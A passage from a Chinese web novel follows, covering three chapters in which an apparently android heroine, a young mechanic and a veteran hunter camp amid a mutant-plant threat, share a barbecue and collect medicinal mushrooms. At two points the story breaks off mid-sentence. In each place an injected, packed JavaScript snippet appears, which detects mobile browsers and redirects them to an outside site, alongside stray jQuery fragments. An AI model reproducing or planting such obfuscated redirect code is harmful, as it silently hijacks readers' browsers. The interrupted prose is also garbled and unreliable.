“方文文那小子也是,迟早我修理他一顿。算了,蝴蝶,后边再有要送东西的事情,我直接找你。” ? 时却脑袋上几乎要具现化问号出来。 大哥,你对象不是明摆着不待见我吗? 壁虎哈哈大笑。 他深深地吸了口烟,吐出云雾般的烟气,神情在这烟气中显得略微模糊不清。 “她是不是直接说,希望你以后也别再出现?” “嗯。” 壁虎挥挥手,打散眼前的稀薄白烟。 “我了解花朵,她不讨厌你。相反,她挺喜欢你这类人。走吧,有她的事我再另找你。” 57. 情况 出了帐篷,时却接到蒋云霞的两条消息。 第一条消息讲给他们占好了扎营的位置,并已问熟悉的蓝蝎看能不能买到防毒面具;鼻腔过滤器的话不用担心,她自己备了不少。 第二条消息讲临时澡堂又开了,他们不着急的话,可以洗个澡再过来。 沈司奥提议先看看防毒面具去,时却赞同。 他们依次去了趟黑街和蝎子的其他兑换处,不料一无所获。 其他兑换处的半空中投影有硕大的库存剩余清单,上面显示各类防护用具原来便没什么库存,如今更几乎脱销,仅常见的口罩、鼻腔过滤器等还剩些许。 黑街的情况差不多,通常有卖防护用具的摊位上,只剩下和腐烂菇与百穿花毫无关系的东西。 沈司奥给老金打语音询问,得到一番吐槽式回答: “那些笨重玩意蝎子肯定优先供应灰蝎,有经验的猎人又惯常不爱使,蓝蝎群体内常年没几个人备货,你俩能买上反而有鬼了。” 两人面面相觑,没了脾气。 时却其实有预感,蝎子的通知会造成一定影响,却没想到这影响来得比想象中的更直接且更快。 好在,陪沈司奥洗完澡后赶往集中休息处的途中,蒋云霞那传来好消息。 经过竞价,她拿下一个二手的防毒面具。 沈司奥和时却商量一番,拉了个三人群,和时却连番在群里给蒋云霞发“谢谢大佬”的表情包。 时却顺手把蒋云霞发送的定位转给流萤。 * 数分钟后,时却二人踏入集中休息处。 无人机的声音围来,它们不断地进行着重复播报,播报的内容大概有以下几项: 蝎子排了更多的战斗仿生人进行夜间巡逻。 在缓冲点边缘,更多的无人机和户外灯被妥帖布置。 位于边缘的人应尽早到帐篷内休息;在确保喷洒足够驱虫药的前提下,帐篷尽量密闭。 伴随这样的播报声,时却和沈司奥继续往蝎子划给紫蝎的休息处去。 沿途,二人得见一些帐篷搭好了,一些帐篷尚待搭建完全。 几乎每个被确认占据了的位置上,占据者的身上多少带有些和他人动过粗的痕迹。 这痕迹要么是空气中弥散的淡淡硝烟气息,要么是草地上的新鲜血迹,要么是占据者凌乱的衣着或脸上的淤青。 时却感到不少或明或暗的警惕视线雨点般落在她身上,数量超出以往数倍。 ……她明白这些事情发生的原因。造成这情景的逻辑如同张窗户纸,一戳即破。 这几日来,无论是否在缓冲点内扎营,蝎子划给紫蝎的休息处,总有相当部分的区域临近整个大部队的边缘。今天也不例外。 新变异植物无药可治的消息没多少人得知时,无人在意这种事。 靠近边缘的地方多,早来的人占住了相对靠里的位置,晚来的人索性哪有位置就往哪搭帐篷,犯不着为这点小事起冲突。 而今时不同往日,用脚趾头想都知道,越处在别人的帐篷包围下,越往扎营区域的中间,越安全。 即便待在边缘不等于百分百死亡,总归是风险飙升,谁愿意增加自己与死神为邻的几率? 地方有限却没人愿意去危险的边缘地带,这种情况下,蒋云霞口中的“占位置搭帐篷”动作,换种更直接的说法,即—— 谁拳头小,谁得罪不起别人,谁打疲了,谁滚去外围扎营。 直到二人差不多快到了蒋云霞发来的定位处,打量时却的目光才变得相对友善不少。 这些目光的主人里,有不少时却熟悉的面孔。 他们是上路第一晚对抗变异狼时,被壁虎特地分到与时却二人在一块的紫蝎们,统一对沈司奥没兴趣。 时却和沈司奥找到蒋云霞。 她手里拎了袋空瘪的驱虫药粉包装袋,衣服上沾染了些白色粉末,看样子刚做完自己帐篷边上的防虫处理。 她帐篷旁边是块不大不小的空地,一些血点溅在空地边沿的草尖上。 蒋云霞钻进帐篷内,拿出个全黑色的防毒面具。沈司奥试戴了一下,还算合适。 他从自己的背包里翻出盒保养枪用的润滑脂给时却。 时却叫了蒋云霞一声,将那润滑脂抛过去给她:“谢了。” “客气什么。”蒋云霞说。 她低头一瞧,笑了:“嚯,还是不错的牌子。” 见时却和沈司奥准备搭帐篷,她很自然地上手帮忙。 帐篷差不多搭好时,时却拿靴子蹭开草上的血迹,将它们踩散得不那么显眼。 然后,她对蒋云霞说,下次由她来占三人扎营的位置。 蒋云霞本来闲适的神情略往回收了收。 “你确定?” 时却嗯一声。 沈司奥手上的动作变慢,隐晦地瞧两人一眼。 “好吧,蝴蝶,我可能要说得直白点。”蒋云霞盯着时却。 “无关生死的时候,或许是没多少人愿意和你正面起冲突,可就我知道的,今晚为了抢位置,这片至少重伤了三个人。” “接下来的情况可能会越来越糟。我倒没差,心态早练出来了,不过你……你确定下次愿意做这活?” “我不愿意做,可我会做,”时却老老实实道,“至少不能都由你来。”那算什么合作。 蒋云霞一愣,笑了笑,不再说什么。 给二人帮完忙,三人商量好守夜计划:鉴于蒋云霞今天的运动量更大,由蒋云霞先去休息,等大概十一二点时,再起来接班,换时却休息,往后她再和时却轮换。 近九点的时候,沈司奥唤醒番茄,流萤带着奇奇姗姗来迟,左右手各拎着个有些鼓囊的塑料袋。 时却迎上去,接过那两个袋子打开看,一个里面是小巧的户外烧烤装备,另一个里面竟装着些串好的肉串和蔬菜串。 流萤解释说,因为细雨的离世加上新变异植物的事情,粉色泡泡浴内众人的情绪都很低落。 出于安抚的目的,陈老板临时决定今晚不营业,自费买食材搞了场烧烤,让众人好好放松一晚。 烧烤串和烧烤装备是流萤问过陈老板后,从他准备的东西里直接拿过来的。 “而且……” 流萤拢了拢棕色的外套。 她今晚的装扮和前夜别无二致,外套内还是那身印有鱼、波浪、鸟和白云的白色连衣裙。 “陈老板讲,今晚的客人们可能普遍情绪不佳,我们容易受伤;安全起见,不营业比较好。” 深紫色的夜空中,圆月安静地悬挂着,往地上撒下浅淡的皎洁光辉。时却突然想摸摸流萤的头。 但流萤轻描淡写、习以为常般的讲述,让她说出的这番话语好似成了没有任何重量的无形之物。 它一被说出口,便四散在了夜风里,叫时却的手抬不起来。 “汪!” “汪汪!” 番茄丝毫不知道自己主人略带纠结的心绪,番茄毫无烦恼地和奇奇嬉戏在一起。 沈司奥掏出了常识播放器继续组装;流萤坐到时却边上,托腮看时却;时却整理情绪,将所有烧烤用具一应摆开,烤起第一批串串。 她和流萤闲聊,得知壁虎的补偿确已到账,又问流萤打算怎么处理细雨的骨灰。 “十二区有墓地,”流萤拿着工兵铲,笨拙地拨弄了下三人边上的烤火堆,“我去给他买个好点的位置。” “细雨的药够你吃多久?” “一个月吧,刚好之前没赶上买最后一批药,”流萤吸了吸鼻子,眼圈微红,“你说他怎么这么傻,被客人骗成那样……” 时却摸了摸她的头,没说话。 阵阵烟雾自亮银色的烧烤网上升腾而起,滋滋冒油声中,肉香味逐渐弥散开。 第一批肉串刚熟,坐着的主人们还没下口,番茄和奇奇来了劲,流着口水寻味而来。 抢倒是不敢抢,这一大一小两只狗狗乖巧地坐在放肉串的小纸盘子边上,歪着头,张大了口呼呼地喘气,舌头大半吊在嘴外晃荡,晶亮的哈喇子怎么也止不住,黑豆般的小眼珠恳切地瞅着人,喉中不时嘤嘤呜呜的。 时却遭受不住双重的狗狗眼攻击,掐了点没放调料的肉下来喂它们,喂了一点觉得不够,屈从于投喂的乐趣,忍不住还想再喂一点。 流萤哭笑不得地阻止她。 “姐,过过瘾就好。陈老板说他可下了血本,这些都是三级品,咱们还是自己吃吧。” “好好好。” 时却搔掻脸应下,赶两只狗狗边上玩去。 番茄屁颠屁颠地跑开,奇奇跟在后头,身上间或发出几声不自然的滞涩响动。 时却抓起几根肉串和蔬菜串往流萤手里塞,自己一手翻动烧烤网上还没熟的其他串串,一手拿了根串串举到沈司奥面前,供满手机油的机械师饭来张口。 看她忙得不亦乐乎,流萤咬了两块肉下肚,提议说要不让奇奇接手,时却好好吃几口。 “等会吧。”时却推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458874|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托。 听到这些食材是三级品,她打算借干活的名义少吃两口。反正她没差,咂摸个味儿就差不多了,不如给流萤和沈司奥多吃点。 “不过,”她随口道,“奇奇还会烧烤?” “它会的可多了。两三年前我花了好大功夫,找人改造的它呢。” 沈司奥突然插话,问奇奇原来是什么定位的仿生宠物。 “纯陪伴犬吧,买好久了。”流萤托着下巴作回想状。 沈司奥欲言又止。见他这样,流萤垂下眼皮,盯着手里一根吃净了的木签,轻声道:“怎么啦?” “它好像很久没得到保养了,”沈司奥婉转地劝说,“如果可以的话,到十二区后,最好找个机械师看看。” “很严重?”时却关心道。 “应该还好吧,”流萤眉眼弯弯,“姐,蘑菇有好了的吗?让我来尝尝!” 少女拿起一根时却刚烤好的蘑菇串,吹了吹上边蒸腾的热气,一只手放到串串下面,手心朝上作托,对准串上最大的一颗滚圆蘑菇,一口咬上那颗蘑菇最中间。 那串蘑菇时却没烤得很干。在牙齿猛地挤压之下,滚烫的蘑菇汁液飞溅,流萤瞬间被烫得不住吐舌,拼命嘶嘶吸气呼气。 时却赶忙找水。 一番动作下来,等流萤喝上水缓过劲,奇奇的话题自然地被揭了过去,再没人提起。 烤过两轮烧烤,时却意思意思吃了几根串串,让奇奇接班。 德牧奇奇大显身手的时刻到来。 流萤将它叫回身边,一声令下,让它再次变形。 和时却此前见过的那样,奇奇如人般直立,每只前爪发出尖锐的利物磨玻璃般的刺耳响动,然后前爪各如花朵展瓣般绽开,根根钢铁手指从中伸出。 番茄呆如木鸡地旁观完了小伙伴的变身全过程,似乎完全无法理解,嗷呜惊叫一声,离膛炮弹般往时却怀里钻,逗得流萤直乐。 进入烹饪模式的奇奇效率极高,高效将所有串串全数处理完毕,还十分智能地熄灭掉烧烤炉中的部分炭火,让余下炭火处于能为一时吃不到的串串保温的燃烧程度。 闲下来的时却照例和流萤讲了今天与蒋云霞采集蛙藤的经过。 流萤眼神亮亮地听完,问时却想不想也听她说说自己在十三区吃过的美食。 时却注视着她亮晶晶的眼睛和微红的脸颊,说自己当然很乐意听。 “好再来边上有一家面馆,那儿的老板每天天不亮就起来熬骨头汤,那个骨头汤奶白奶白的……” 在少女轻声的讲述中,时间走到晚十一点。 蒋云霞一觉醒来,捂着肚子寻香味钻出帐篷,一见烧烤的是时却这边,眼睛发绿地加入三人。 正好,流萤讲得有些累了。 经时却介绍,她和蒋云霞简单熟悉了下,讲述者的接力棒顺势传到蒋云霞手中。 作为四人中最年长者,蒋云霞肚子里的故事无疑更多。 同时很神奇的是,吃烧烤和口若悬河这两件事,她能做到互不耽误。 嘴里吃嚼不停着,她左讲一件蹲守猫兔的经历,右谈年轻时和嫂子学飞刀却差点阉了自家哥哥的趣事,声音高高低低地散入逐渐深沉的夜色里,让另外三人听得津津有味。 晚十二点,流萤提出告辞。 如今情况特殊,尽管得知她途径的地方不靠近任何缓冲点的边缘地带,时却还是提出带上沈司奥送流萤回去。 等送完流萤回来,时却和沈司奥进帐篷休息。 临睡前,沈司奥再次露出一幅欲言又止的神情。 ……时却大概知道他想说什么,八成关于流萤。 今夜,她不是没察觉到,流萤在奇奇的话题上含糊其辞了。 “你说。” “我只是觉得有点奇怪,”沈司奥皱皱眉,“如果我没记错,奇奇这个型号七八年前就断售了。她既然肯花大价钱给它安装还不错的烹饪模块,为什么不肯保养它?” “有她自己的原因吧。” “也是。” 这显然属于流萤的私事,时却和沈司奥很有分寸,只点到为止地聊了两句。 待沈司奥入睡,呼吸渐渐趋向于平稳绵长,时却小心翼翼地掏出钢笔和备忘录,再写下数行字。 【2041年1月4日: 蒋云霞是个不错的合作伙伴。 沈司奥提出要拉群夸夸蒋云霞的时候,有点可爱。 晚上和流萤吃了烧烤,听她讲了几个十三区的美食故事。】 58. 植物 上路的第六天。天色愈亮。 像一汪颜料经打翻后泼溅入水中,以远处的天际为伊始,如蒙了层浅淡白雾般的浅橘红色渐变着蔓延开。 冬日的清晨降临到时却面前,唤醒她周遭的一切。 最初,是一些帐篷内本熟睡的人更频繁地翻身、咕哝;随后,由起床活动而引发的窸窣声响越变越密,早起的人渐渐地外出活动…… 七点十分,穿戴整齐的蒋云霞拉开自个儿的帐篷拉链。 盘腿托腮坐着的时却向她打招呼:“早上好。” 蒋云霞摆摆手,“早。” 她伸了个懒腰,简单做几下舒展运动,提提腰间挂满各式家伙的武装带,往一个附近有移动厕所的方位走去。 时却也起身扭腰抬腿,活动筋骨。 她没有劳累的感觉,身体不滞涩不僵硬,关节处却轻微地咔咔作响,完美模拟出了人久坐后冷不防动弹才会发出的声音。 她留心听了一下,没觉察到沈司奥起床的动静,略无聊,蹲下/身去捋附近地上结了霜的草。 这草茎手感奇特,寒凉,沙沙的,稍一用力蹭,底下是有点喇手的粗糙草面。 薄薄的冰霜甫接触她温暖的仿真皮肤,立即化为润湿的液态。 七点十五,时却玩了一手的水,沈司奥打着哈欠撩开帐篷门帘。 未成年的机械师看上去有些神志不清,还睡得炸了毛,头发东翘起几根摇来摇去,西翘起几根晃晃悠悠,看得时却手痒,想上手给他捋平。 “你和蒋云霞,”沈司奥含上一口水,嘴巴鼓鼓缩缩几轮,咕噜咕噜仰头漱口,撇脸弯腰吐出,“昨天晚上还行?” 时却麻利地拆卸起帐篷。“还行。我四点半换她去睡的。” 沈司奥往牙刷上挤牙膏,撇一眼蒋云霞帐篷的位置,看没有人,低声道: “她问什么没?” “问了,”时却说,“‘你们十二点半才回来,你就睡这几个小时,明天能行?’,这样。” “你怎么说。” 时却理直气壮地点点自己的脑袋:“你忘了?我这里有问题。” 脑子有病的人,偶尔不太需要睡眠也能精神奕奕,难道不科学吗? 现在一想,沈司奥当时给她选的设定简直是万金油,真的很合适拿来满嘴跑火车。 沈司奥:“……” 他随意地朝时却比了个大拇指,不再理她,自个刷牙去。动作间,他那几撮乱发随性地随着他的动作不时颤动。 时却多瞧上几眼,觉出了点乐趣,坏心眼地不提醒,打算等他自己发现这仪容仪表方面的小问题。 七点二十,蒋云霞嘟嘟囔囔地回来,表情复杂地开始收帐篷。 时却问什么情况,她说厕所涨价了,变成四元十分钟起。 在她们边上,刷牙结束的沈司奥从背包里翻出个折叠镜打开,终于发现自己脑袋上的乱毛,无语地转脸睨时却一眼。 “涨价就涨价,”蒋云霞龇牙道,“上着上着还播报什么‘请时刻注意使用期间的人身安全,留心四周’。脱裤子放屁。” 沈司奥放下镜子,翻出把塑料折叠梳和一瓶水。 一个紫蝎路过,听到蒋云霞这么说,面色也扭曲了,插嘴吐槽:“没错,那玩意要怎么注意?!” 蒋云霞十分赞同,和那紫蝎心有戚戚焉地同时点头。 那紫蝎从怀里摸了根烟扔给蒋云霞,和她又碎碎念了蝎子几句才离开。 时却将帐篷打包好收进背包。“你们认识?” “面熟。那是个老猎手,我俩上次说话大概在七八个月前。”蒋云霞嗅了嗅白得的烟,随手揣到兜里。 弄好帐篷后,她自己咬开一包肉蓉味的压缩干粮,边狼吞虎咽,边丢给时却两包,顺嘴道: “哎,小老板,你这头发是不有点长了?难搞吧?等全须全尾到了十二区,给你介绍个还不错的理发店?” 沈司奥朝她略一点头,示意OK。 此时,他有点忙。 他拿右手倾倒水瓶将左手弄湿,用左手对着镜子打湿头发翘起的部位压下去,再上梳子飞快地梳几下,动作娴熟地制服各有脾气的乱发。 等不过花了一分钟左右调教好脑袋,他接过时却递来的干粮,和时却一块开吃时,蒋云霞早将她的那份吃了个大半。 这位区外经验丰富的猎人还打趣时却和沈司奥一番,说先不管战斗力到底如何吧,他们这斯斯文文的进食速度和姿势,一看就是新手。 七点三十分,蜥蜴带黑蝎来发本日的补给。 发放完毕,她扬声告知众人,昨夜那神秘的变异植物再次行动。 这回,受害者已知共两名,位于集中休息处蓝蝎区域,处在靠近缓冲点边缘处。 “已知”是她的原话,言下之意为,受害者的数量可能不止两名。 ……这很好理解。 蝎子的一把手大大方方地当众承认了对受害者束手无策,那么无疑,受害者将自己,或受害者的周边人将受害者上报给蝎子的动力将大幅度降低。 谁知道蝎子会提供多少临终关怀? 相比和素不相识的倒霉蛋躺在一块儿哀哀直叫,谁能说独自死去,或在亲朋好友的注视下离世,不会是更多人的选择? 曾参与过的两次火化的经历在时却脑中一晃而过。 她不由自主地看身边的沈司奥和蒋云霞一眼,旋即迅速挪开目光,强制自己将发散的思维转回现实。 根据蜥蜴公布的最新现况,显然,“蝎子这个大部队彻底笼罩在新型变异植物阴影下”一事可谓板上钉钉了。 时却以为,听到这个消息的紫蝎们多少会嘈杂起来。 毕竟昨夜在用餐处组成窃窃私语浪潮的众人里头,就有不少紫蝎。 并且,紫蝎们前个晚上的态度也相当众生百态,五花八门什么都有。 她稍稍睁大眼睛,等待记忆中的人声浪潮再次翻涌而起。 然后……等了个空。 似一个技术不佳的掷瓦片选手,仅于河面上打出了寥寥无几的拙劣水漂,在在汇聚起来的紫蝎群体内,只少数人发出了下意识的、无法自控的响亮咒骂。 甚至于,这部分家伙认识到咒骂之无用的速度快得惊人,几乎没过几秒就算发泄完了情绪,狠呸一下作结尾,接着迅速收声。 更多的人,他们要么呈现出做足了准备或全然接受的沉默,要么轻轻蹙眉,与同伴简短地轻声交谈了几句就闭口不言。 时却左瞧右看。 晨光中,紫蝎们或呵出或呼出的浅淡白气一经离体,立即参差且无言地消散于冬日下,仿佛某种心照不宣的神秘仪式。 没有哗然,没有激动,空气正常地流动在众人之间。 平静地以一句“祝你们今天好运”为结束语,蜥蜴带黑蝎离开。 ……直到上路,那诸多吐息在无言中平淡消逝的一幕仍在时却脑海中不时闪现。 只紫蝎今天的状态是这样吗?她不禁想,还是其他人同样? ——仅十三区这些历经迁徙着的人会在这种情景下如此表现吗? 还是…… 某个瞬间,时却莫名地喉中干渴,胸中似有股冰冷的火焰短暂掠过。 那感觉形同一个幽灵,突兀地出现,又很快地消失了。 * 冬日晴空下。 蒋云霞规划好了今日的第一站,她的越野车在前,沈司奥驾驶摩托跟在她的车后,时却则仰在后座上偷闲。 为便于沟通,她和蒋云霞持续保持着语音通话中的状态。 偶尔,路边出现些蒋云霞认为值得介绍两句的变异植物或动物时,蒋云霞会开口,简短地向时却讲上一两句。 她的讲述里,如果和区外地图的描述存在重合,相较区外地图而言多更通俗易懂;如果属于区外地图没怎么提及的资讯,往往信息量密集,切中要害。 时却受益匪浅。 又一次来自蒋云霞的简短解说结束后,她认真地想了一下,觉得该直白地表达一下对蒋云霞这种教授行为的感谢。 自然而然地,昨日沈司奥的拉群夸夸行为首当其冲浮现出来,给她以极大的社交启发。 于是接下来,蒋云霞每说一次,时却便默默地往三人群里发一个表情。 不多时,群里被她“给大佬递茶”的表情包刷了屏。大佬本人不得不出面制止。 蒋云霞:【猩猩重拳出击.gif】 蒋云霞:【你安静一点.gif】 被迫中止夸夸行为的时却:“……” 过了会,蒋云霞说起今天三人的目标。 她稍有些失真的声音从终端传出:“腐烂菇通常会聚在一个地方,一簇一簇地长。我们今天可能要碰上不少人。” “你不是还带着小老板吗,我们尽量从离大部队远些的地方找起,避避人,到时候见机行事。” “好。”时却在呼呼风声中说。 “不用太担心,”蒋云霞极有长辈气质地安慰,“这个森林又长又广,最多是跑一跑的事情。” 听她这么说,时却心中一动,发觉自己倒没仔细留意过这个所处森林的全貌。 首次接触区外地图时,是沈司奥先打开的;初始区外地图的比例和实际之间差得很多,他还没开几秒钟就调整为了局部放大的模式。 她最多记得,在十二区和十三区之间有绿色一晃而过。 接着,她随沈司奥调整了自己的地图设置,往后再打开地图,看到的便仅有以自己为圆心的附近地形了。 一时间,时却来了兴趣,呼出区外地图,调整为恰好十二区和十三区各在投影两端的位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497692|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 根据显示,当前她所处的森林……似条大青虫般恰到好处地卧躺于十二区和十三区之间,首尾近乎分别于十二区和十三区的边界接壤。 这乍一看像种有意为之的特殊设计。 时却这么想着,直接这么问出了口。 “要说设计,”蒋云霞沉吟,“管理局定期烧烧靠近区边界的部分算吗?” 当然不算,那感觉像正常人家会按时清理草坪的措施。 无意识地挥动手指,时却不住地缩放地图,让“大青虫”鬼畜般在眼前时近时远。 她想起十三区那位于界碑和森林之间的平原,它明显经过人工的清理。 她追问蒋云霞口中的“定期”是多久,蒋云霞表示没太费心思记过。 “三个月吧,总之看植物们的长势。” 时却无法想象。 她疑惑夹震惊地啊了一声,心道什么玩意。 她清楚地记得,自界碑到森林有相当一段距离。仅三个月的时间,难道有什么植物能从森林扩张到需要被清理的地步吗? 这个世界……植均超级地表爬山虎? 沈司奥加入她们的谈话,解释说: “出于某种未知原因,在辐射的影响下,原本处在森林中的植物们新陈代谢得比辐射到来前快许多倍。蝎子这几天不是有砍树?过不了多久,它们就会再长回繁茂的模样。” 带着被再度刷新的世界观,时却不可置信地将区外地图缩小到极致。 可一眼望去,上面的图景并非被绿色铺满,还有各式各样的颜色,例如代表水域的蓝色,代表土地的黄色。 不少区和区之间的绿意零星,压根不似十二区和十三区之间。 她不解地问:“照你这么说,上百年间,森林该疯狂扩张。除了各个区外,地图上应该全绿?” 无论蒋云霞还是沈司奥,都没有立即接上这话。 伴随发动机的嗡鸣声,越野车和摩托先后转了个弯,偏离蝎子的大部队,由较平直的沥青路转入一条坑坑洼洼的土路。 在骤然安静不少的氛围中,蒋云霞冲沈司奥道,还是他这个高材生来讲吧,他比较会解释这些文绉绉的东西。 机械师用惯常的平静语气说: “你可以这样理解,如果附近没有人类聚集地,森林中植物们的新陈代谢,只会体现在受伤时快速复原上。” 结合刚刚得知的信息,时却听出一点他的言外之意:“那假如附近有人类的聚集地?” “森林就只会往人类聚集地蔓延,”沈司奥的声音穿过风声传入时却耳中,“所以,十二区和十三区之间的森林才成为抻长了的模样。” “辐射初期,一些科学家认为,这是基于辐射对大量聚集的植物的一种未知改造。” “也许,辐射让这些大量聚集的植物们产生了一种本能,叫它们天然地会向辐射浓度低的地方蔓延、生长。” “有的学术论文,会管拥有这种集体行为的植物本能叫‘趋向人类性’。” 沈司奥偏了一下头,停顿几秒钟,组织好语言,继续说: “事实究竟是什么,无从得知了。你知道的,除抽象的基础学科研究外,我们还有大把火烧眉毛的现实问题。” “终归,植物蔓延这事……对大部分区的管理局来说,无论再怎么涉及复杂艰深、亟待探索的未知,落到实际对策上,也就是定期清理可以解决的东西。” “像科技发展程度不足以知晓柳树皮内的有效成分是水杨酸苷时,”他举例道,“能知道头痛或发热了,出门捡点这玩意回家煮水喝多少有用,差不多就够了。” 时却:“……” 为这进一步了解到的新“常识”,时却沉默片刻。 这沉默没有什么特殊的意义,仅由于她不知该接什么话。 土路的路况很差,一片颠簸里,视之所及着不断摇晃的两侧林木图景,她突然有点理解了,紫蝎们今早相对而言的情绪稳定。 这是种债多了不愁,专注考虑眼前事该怎么解决,少考虑明天的……集体无意识吗? 时却摇摇头,决定主动转换话题方向。 在谈论天气和吃得如何这两个经典开头之间稍作纠结,她最终选择后者。 “呃,早上的干粮还挺好吃的,”她说,“肉蓉味儿很足,又咸又甜。” “是吧,”蒋云霞马上赞道,“那个口味绝赞。” “还行吧,”沈司奥说,“对了,还有两……嘶!” “怎么了?”蒋云霞问。差不多同一时间,她还听见时却小小地哎哟了一声。 “没四,”沈司奥含混地说,“没看到个坑,颠了一下,咬到舌头。” 时却戳戳他。 “你刚想讲什么来着?” “还有两分钟到目的地。”沈司奥说。 59. 采集 早八点半左右,今天的首个目的地出现在三人前方。 那是块树木介于稀疏和繁茂之间的地方,大部分的树身一人合抱有余。大约此地常有飞禽走兽穿行,地面随处可见被折断的枯枝朽木。 阳光细碎地穿过交错的枝叶照射而下,斑斑点点散落一地。 按区外地图对于腐烂菇的描述,这种真菌生物春夏秋冬都能长,不钟情过于阴湿的环境,反倒更喜欢良好的通风和一定的光照。 蒋云霞选择的此地,完美符合这些条件。 三人依次下车。 蒋云霞示意时却不用从他们的背包里找预备承装腐烂菇的容器,自己从后备箱里翻出两个折叠起来的牛皮纸筐,依次抖开。 为防止中途有动物闯入,沈司奥未雨绸缪地换上他的特制墨镜。时却协助他将防毒面罩戴上。 蒋云霞拿出两个鼻腔过滤器,递一个给时却。 这玩意包括拿来挂耳的绳带和一个罩在鼻子上的过滤主体,时却佩戴好,觉得自己仿佛长了个猪鼻子。 她拿上一个蒋云霞提供的牛皮纸筐,嘀咕着将这既视感说给另外二人听。 蒋云霞抓抓耳朵,调松了点绳带,作为一个老江湖,不紧不慢地拖沈司奥下水。 “没事,比起我们,小老板进化得更完全。” 顺着这话茬,时却打量了一下机械师骤然硕大了一圈的头部,以及防毒面罩上明显凸起的瓶状滤毒罐,深以为然。 他的确更猪一点。 沈司奥:“……” 只凭借面罩的透明视窗露出双目的机械师,毫不客气地朝时却翻了个白眼。 他们步行靠近目的地。 没几步,时却瞧见不远处的数个枯叶堆积处和树身近根部上,均覆有些棕色。 再走近看,正是一簇一簇的腐烂菇,和昨晚影像介绍里的外形大差不差。 蒋云霞戴上手套,督促时却也作相同的动作。 她从一个随身的挎包里掏出润滑油、吸管、牙签、回形针、纸片,将裁剪成菱形和一对水滴状的纸片分别作为箭尾和箭头,三下五除二做出两个简易的风向标。 这风向标以牙签串起的多根吸管形成十字状的主干部分,以另一根吸管的不同端分别作那对水滴形纸片的承载件;同时,弯曲成异形的回形针穿过这承载件,和主干部分相连。 将润滑油滴在主干部分,滴在回形针和吸管的连接处,蒋云霞举起这自制的小玩意。 充当箭头的一对水滴纸片形成了扇叶,立刻以回形针为轴悠悠转动一个角度,最后停留在箭头位于上风处,箭尾位于下风处的状态。 递给时却其中一个风向标,蒋云霞冲距离较近的一簇腐烂菇抬了抬下巴。 “你们处理那团,记得时刻站到上风处去。虽然皮肤得接触到一定浓度的孢子才会瘙痒,但别找不必要的罪受。” “以后碰到类似要测风向的情况,舔湿大拇指竖在空中,或打湿手腕,都行。” 时却充满惊奇地拨弄了一下手里的风向标,开口想说些什么,被蒋云霞一脸无奈地做了个“停”的手势。 “不许再发表情包。”老猎人哭笑不得。 惋惜地哦了一声,时却拉上沈司奥,埋好风向标,叫他帮忙时刻留意风向。 “小老板,”蒋云霞道,“我这边风向也交给你,行不?” 沈司奥看向时却,时却接到他的眼色,坚决捍卫老板的劳动所得权: “今天的酬劳得有他一份。” “5%?”蒋云霞饶有兴致地开了个白菜价。 “20%。” “不可能,你狮子大开口。”蒋云霞撇嘴,眼中含笑地上下打量沈司奥一番。 “8%,看在你的面子上。” “15%。” “10%。” 时却一口答应:“成交!” 其实,她本来想给沈司奥争取的也就10%。 她挑着眉睨沈司奥一眼,透明视窗下,机械师的眼睛朝她弯了弯。 争取到老板的报酬这事告一段落,时却又问蒋云霞:“按最高那档回收价采?” “尽量。”后者站到另一簇腐烂菇前回答。 听到二人的对话,沈司奥打开区外地图,调出对应腐烂菇的部分。 上面写着:腐烂菇处于泥土里的菌托,以及靠近菌托两厘米内的菌丝,均具有特殊的药用价值。 若采集的腐烂菇较完好地包括这些部分,并不带太多泥土,它能具有最高档的回收价。 管理局还提供了一些挖掘时的建议姿势和动作。他将这些内容投影出来,全息屏幕的尺寸拉到最大,放映在时却和蒋云霞之间。 时却和蒋云霞双双跪在地上,弯下腰,各自开/干。 一上手,时却便察觉这是个要求细致和耐心的活儿。 腐烂菇的所谓聚集着长,仅限于视觉和广义空间的“聚集”。 落到以厘米为尺度上,这些乒乓球大小的真菌彼此之间的距离就比较尴尬了,说近不近,说远不远。 考虑到,要尽量把腐烂菇连本体带两厘米的菌丝一块从菌床上分离,还得防着误伤到其“隔壁邻居”…… 大多数时候,匕首根本不敢使,铲子打击面太广,时却必须靠自己的十指。 好在,参考着沈司奥放映出来的内容,经过一段时间的粗糙操作,以挖废了十几颗腐烂菇为代价,她逐渐上了手。 她不时留意蒋云霞那边,见这位老猎人没有去清理腐烂菇上的泥土,有样学样,也先将腐烂菇们采下,小心翼翼放入牛皮纸筐中。 随着二人采摘熟练度的直线飞升,筐中的腐烂菇越堆越多。 沈司奥偶尔提醒她们改换位置。 他时而蹲在时却边上,时而蹲麻了跺着脚改换站姿,偶尔也跑到蒋云霞边上瞅瞅,直到这片地方的腐烂菇被二人摘了个七七/八八。 将两个满满当当的牛皮纸筐放在一块,蒋云霞掏出三把伸缩软毛刷。 时却抽走其中两把,拿其中一把要递不递地在沈司奥面前晃了晃,娴熟地说: “这得加钱,一口价,12%。” 蒋云霞乐了,干脆地说行。 待将这些腐烂菇处理完毕,蒋云霞又瞄了几个相对偏远些的地方,三人依次过去采集。 时间来到下午。 得益于蒋云霞的特地选址,加上三人今日运气不差,去除路上与其他紫蝎打了几次照面外,在具体的采集位置上,他们没有碰到其他人。 ……不过,特意避人的代价当然是有的。 